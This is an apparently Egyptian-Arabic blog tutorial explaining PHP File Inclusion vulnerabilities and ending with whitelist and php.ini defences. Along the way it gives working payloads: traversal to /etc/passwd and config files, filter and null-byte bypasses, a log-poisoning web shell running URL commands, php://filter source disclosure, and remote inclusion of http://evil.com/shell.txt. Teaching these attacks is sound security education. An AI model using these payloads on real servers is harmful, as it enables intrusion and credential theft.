![]() |
| شرح ثغرات File Inclusion |
شرح ثغرات File Inclusion: دليلك الكامل لاختراق السيرفر
في المقالات اللي فاتت، اتكلمنا عن إزاي الهاكر ممكن يسرق بيانات اليوزر
بـ [XSS](رابط مقال XSS)،
أو يتحكم في حسابه بـ [IDOR](رابط مقال IDOR)،
أو حتى يجبره ينفذ أوامر من غير ما يعرف بـ [CSRF](رابط مقال CSRF).
كل ده عظيم، لكنه في الأغلب بيستهدف الـ User نفسه.
النهاردة، إحنا هنعلي الليفل خالص. هنتكلم عن ثغرة بتدي للمهاجم مفتاح "الأوضة الضلمة" في السيرفر. تخيل إنك لقيت طريقة تخلي
موقع فيسبوك يعرضلك ملف config.php بتاعه اللي فيه باسووردات قواعد البيانات! دي القوة المدمرة لثغرة File.
Inclusion
الجزء الأول: يعني إيه File Inclusion أصلاً؟
ببساطة، المطورين الكبار بيحبوا ينظموا الكود بتاعهم. بدل ما يكتب كود الموقع كله في ملف واحد 10 آلاف سطر، بيقسموه لملفات
صغيرة. ملف للـ header، وملف للـ footer، وملف للاتصال بقاعدة البيانات، وهكذا.
وبعدين، في الصفحة الرئيسية، بيستخدموا أوامر زي include أو require في لغة PHP عشان يجمعوا الأجزاء دي زي البازل.
الكود الآمن (اللي المطور عايزه):
<?php
include 'header.php';
include 'main_content.php';
include 'footer.php';
?>
المشكلة بتبدأ لما المطور بيقرر يخلي اسم الملف ده ييجي من الـ User عشان يخلي الموقع Dynamic.
الكود المصاب (الكارثة):
<?php
$file = $_GET['page']; // بياخد اسم الملف من اليوزر
include $file; // بيستدعي الملف ده
?>
هنا المطور فتح باب جهنم على نفسه. هو كان فاكر إن اليوزر هيدخل page=about.php أو page=contact.php، لكنه معرفش إن المهاجم هيدخل حاجة تانية خالص.
الجزء الثاني: تشبيه "موظف الأرشيف الساذج"
عشان تفهمها، تخيل إن السيرفر ده مبنى أرشيف ضخم، والمطور عين موظف ساذج (هو كود الـ include). الموظف ده مبرمج
على حاجة واحدة: ياخد اسم الملف منك ويروح يجيبهولك.
الـ User العادي: بيقوله "لو سمحت، هات ملف
contact.phpمن (قسم الصفحات)". الموظف بيروح يجيبه.المهاجم (الـ Attacker): بيستغل سذاجة الموظف ويقوله: "لو سمحت، سيبك من (قسم الصفحات) خالص، واطلع 3 أدوار فوق، وادخل مكتب المدير، وافتح الخزنة، وهاتلي ملف (أسرار الشركة) اللي جواها".
بما إن الموظف مبرمج ينفذ الاسم اللي بياخده، هينفذ كلام المهاجم بالظبط. هو ده الـ File Inclusion.
الجزء الثالث: LFI vs RFI (الفرق بين الاختراق المحلي والريموت)
الثغرة دي ليها وشين، واحد خطير، والتاني "أكتر خطورة بكتير":
| الميزة | LFI (Local File Inclusion) | RFI (Remote File Inclusion) |
| المعنى | تضمين ملف محلي (موجود على نفس السيرفر). | تضمين ملف عن بعد (موجود على سيرفر تاني). |
| الهدف الأساسي | قراءة ملفات حساسة من السيرفر. | تنفيذ كود عن بعد (RCE). |
| الخطورة | عالية جدًا (High). | حرجة جدًا (Critical). |
مثال الـPayload | | page.php?file=http://evil.com/shell.txt |
| شرط الحدوث | الكود بيستدعي ملف من غير فلترة. | الكود بيستدعي ملف + خاصيةallow_url_includeمفتوحة في PHP. |
الجزء الرابع: الصيد - إزاي تكتشف LFI؟
أول حاجة بتدور عليها هي الـ Parameters اللي في الـ URL واللي شكلها بيستدعي ملفات. دور على أي حاجة زي:
?page=?file=?include=?document=?path=?view=
لقيت واحد؟ حلو. ابدأ الاختبار. إزاي تخلي الموظف الساذج يطلع بره "قسم الصفحات"؟ باستخدام Directory Traversal أو
../ (dot-dot-slash).
في أنظمة الملفات، .. (نقطتين) معناها "ارجع خطوة لورا (للفولدر الأب)".
لو الـ URL كده:
example.com/page.php?file=news.php
ده معناه إن ملف news.php موجود جوه فولدر معين (مثلاً /var/www/html/pages/).
عشان أرجع لـ "جذر" السيرفر، لازم أرجع لورا كذا مرة.
الـ Payload الكلاسيكي:
?file=../../../../../../../../etc/passwd
ليه بنكرر
../كتير؟ لأني معرفش أنا عميق قد إيه جوه الفولدرات، فبكررها كتير عشان أضمن إني وصلت للـRoot
(جذر السيرفر).إيه ملف
etc/passwd؟ ده ملف مشهور جدًا في أنظمةLinuxبيبقى فيه قايمة بكل اليوزرات على السيرفر. لو
قدرت تقراه، دي أول علامة إنك نجحت.
الجزء الخامس: ملفات لازم تدور عليها (Juicy Files)
لو قريت etc/passwd، مبروك. الخطوة الجاية إنك تدور على حاجات أهم. دي قايمة بملفات "عصارية" (مليانة معلومات
حساسة) تدور عليها:
لو السيرفر Linux:
/etc/passwd: (أسماء اليوزرات)./etc/shadow: (فيه الـHashesبتاعة الباسوردات، غالبًا مش هتقدر تقراه بس لازم تجرب)./var/log/apache2/access.log: (ملف اللوجات بتاعة السيرفر، هنرجعله ده)./proc/self/environ: (ملفات البيئة بتاعة السيرفر)./var/www/html/config.php: (أو أي ملف فيهconfigأوdb، ده ممكن تلاقي فيه باسوورد قاعدة البيانات).
لو السيرفر Windows:
C:\Windows\System32\drivers\etc\hosts: (ملف الـhosts).C:\boot.ini: (ملف إقلاع الويندوز)
.C:\Windows\win.ini: (ملف إعدادات قديم).
الجزء السادس: خداع الفلاتر - إزاي تتجاوز حماية المطور؟
ساعات المطور بيكون ذكي شوية وبيحاول يحط فلاتر. بس المهاجم أذكى.
السيناريو الأول: المطور بيحذف ../
المطور بيستخدم كود زي: str_replace("../", "", $_GET['file']);
الخدعة (Filter Bypass): المطور بينضف الـ
Payloadمرة واحدة بس. المهاجم بيستغل ده ويبعتPayload
مزدوج:....//إزاي بتشتغل؟ الفلتر بيشوف أول
../ويحذفها، فيتبقاله../. يا سيدي!الـ
Payloadالنهائي:?file=....//....//....//etc/passwd
السيناريو التاني: المطور بيضيف .php في الآخر
ده عشان يجبرك تستدعي ملفات PHP بس. لو حاولت تطلب etc/passwd، الكود هيحولها لـ etc/passwd.php والملف ده مش موجود.
الخدعة (Null Byte Injection): الـ
Null Byte(اللي هو\0أو%00في الـURL) هو كاركتر خاص
في البرمجة معناه "نهاية السطر".إزاي بتشتغل؟ المهاجم بيبعت
Payloadكده:?file=../../etc/passwd%00
الـ
Payloadالنهائي: الكود هياخد الـPayloadويبقى:include "../../etc/passwd\0" . ".php";. لما الـ
PHPييجي ينفذ، هيقرأ لحد الـNull Byteويقف، وهينفذinclude "../../etc/passwd"ويتجاهل.php
اللي بعدها.ملحوظة: الـ
Null Byte Injectionمبقتش تشتغل في إصداراتPHPالحديثة (بعد 5.3.4)، لكنها لسه مدمرة في
التطبيقات القديمة.
الجزء السابع: LFI to RCE - فن (Log Poisoning)
طيب، أنا بقدر أقرا ملفات بس (LFI)، ومفيش RFI. إزاي أوصل لـ RCE (تنفيذ أوامر)؟
هنا بتيجي تقنية عبقرية اسمها Log Poisoning.
الفكرة: أنا مقدرش أرفع ملفاتي على السيرفر، بس أنا أعرف ملف على السيرفر "أنا أقدر أكتب جواه". إيه هو؟ ملفات اللوج (Logs).
سيرفر الويب بيسجل كل طلب بيجيله في ملف access.log، بما في ذلك الـ User-Agent (نوع متصفحك).
خطوات الهجوم:
حقن الـ
Payload: المهاجم بيبعت طلب عادي للسيرفر، بس بيلعب في الـUser-Agentبتاعه ويحط جواه كود
PHPخبيث.بيستخدم أداة زي Burp Suite ويبعت طلب الـ User-Agent بتاعه كده:
<?php system($_GET['cmd']); ?>
التسميم: السيرفر، بمنتهى البراءة، هياخد الـ
User-Agentده ويسجله جوه ملفaccess.log. كده أنا نجحت إني
"أسمم" ملف اللوج بالكود بتاعي.التنفيذ: المهاجم بيرجع لثغرة LFI بتاعته، وبدل ما يطلب etc/passwd، بيطلب ملف اللوج:
?file=../../../../var/log/apache2/access.log
(RCE) السيرفر هيعمل include لملف اللوج، هيلاقي كود الـ PHP اللي أنا زرعته، وهينفذه. الكود ده
(system($_GET['cmd'])) هو Web Shell بسيط جدًا بيسمحلي أنفذ أي أمر على السيرفر عن طريق URL.?file=.../access.log&cmd=ls -la (عشان يعرض كل الملفات).
الجزء الثامن: LFI to RCE (جزء 2) - سحر الـ PHP Wrappers
PHP فيه خواص قوية جدًا اسمها Wrappers، لو المطور نسي يقفلها، بتفتح أبواب خلفية مرعبة.
القنبلة: php://filter
دي أهم واحدة. ساعات بتحاول تقرا ملف config.php بـ LFI، بس مش بيظهر حاجة. ليه؟ لأن السيرفر بينفذه مش بيعرضه.
الحل: استخدم
php://filterعشان تقول للسيرفر: "متنفذش الملف ده، اعرضهولي بس بعد ما تحوله لـBase64".الـ Payload:
?file=php://filter/convert.base64-encode/resource=config.php
النتيجة: السيرفر هيعرضلك محتويات ملف
config.phpكلها كـBase64، تاخدها وتفك تشفيرها وتلاقي باسوورد
الداتابيز.
php://input
ده بيسمحلك تقرا الـ Body بتاع طلب POST.
إزاي؟ المهاجم بيبعت طلب
POSTلـ?file=php://input، وبيحط كود الـPHPالخبيث بتاعه في الـBody
بتاع الطلب. السيرفر هيعملincludeللـBodyده وينفذه.
الجزء التاسع: الوحش الأكبر - Remote File Inclusion (RFI)
ده النوع اللي اتكلمنا عنه في الأول، وهو نادر لكنه مدمر. بيحصل بس لو خاصية allow_url_include متفعلة في PHP (الوضع الافتراضي بتاعها Off لسوء الحظ😂).
لو الخاصية دي مفتوحة، المهاجم مش محتاج كل اللف والدوران بتاع Log Poisoning.
الاستغلال:
المهاجم بيرفع
Web Shellبسيط على أي سيرفر هو بيتحكم فيه (مثلاًhttp://evil.com/shell.txt).بيروح للثغرة وينادي الـ Shell ده مباشرة:
?file=http://evil.com/shell.txt
السيرفر الضحية هيروح يجيب الملف ده وينفذه عنده.
النتيجة:
RCEمباشر وسيطرة كاملة على السيرفر في خطوة واحدة.
الجزء العاشر: بناء القلعة (الدفاع والحماية)
بعد كل الرعب ده، إزاي المطور يحمي نفسه؟
القاعدة الذهبية: Whitelist, Don't Blacklist
غلط (Blacklist): إنك تحاول تمنع
../وhttp://. المهاجم دايما هيلاقي طريقة يتجاوزك.صح (Whitelist): إنك تعمل قايمة بالملفات المسموح بيها بس، وترفض أي حاجة غيرها.
الكود الآمن:
$allowed_pages = [
'home' => 'pages/home.php',
'contact' => 'pages/contact.php',
'about' => 'pages/about.php'
];
$page = $_GET['page'];
if (array_key_exists($page, $allowed_pages)) {
include $allowed_pages[$page];
} else {
include 'pages/404.php'; // لو الملف مش في القايمة
}
?>تعطيل الخواص الخطرة: في ملف
php.ini، اتأكد إن الإعدادات دي مقفولة:allow_url_include = Off(لمنعRFI).allow_url_fopen = Off(لمنع الوصول للـURLكملفات).
صلاحيات السيرفر: متخليش سيرفر الويب شغال بصلاحيات
root. شغله بـUserصلاحياته محدودة (زيwww-) عشان حتى لو حصل
dataLFI، المهاجم ميقدرش يقرا ملفات حساسة زيetc/shadow.
ثغراتFile Inclusionهي بوابة خلفية بتدي للمهاجم وصول مباشر لقلب السيرفر. هي بتوضح إن الثقة العمياء في أي حاجة
جاية من اليوزر هي بداية الكارثة.
في دليلنا القادم، هنكمل في نفس سكة اختراق السيرفر وهنتكلم عن ثغرة Command Injection، اللي بتخليك تكتب أوامر Linux مباشرة في الـ URL وتنفذها. استعد
والآن دورك، شاركنا في التعليقات: إيه أكتر تقنية خوفتك في المقال ده، الـ Log Poisoning ولا php://filter؟
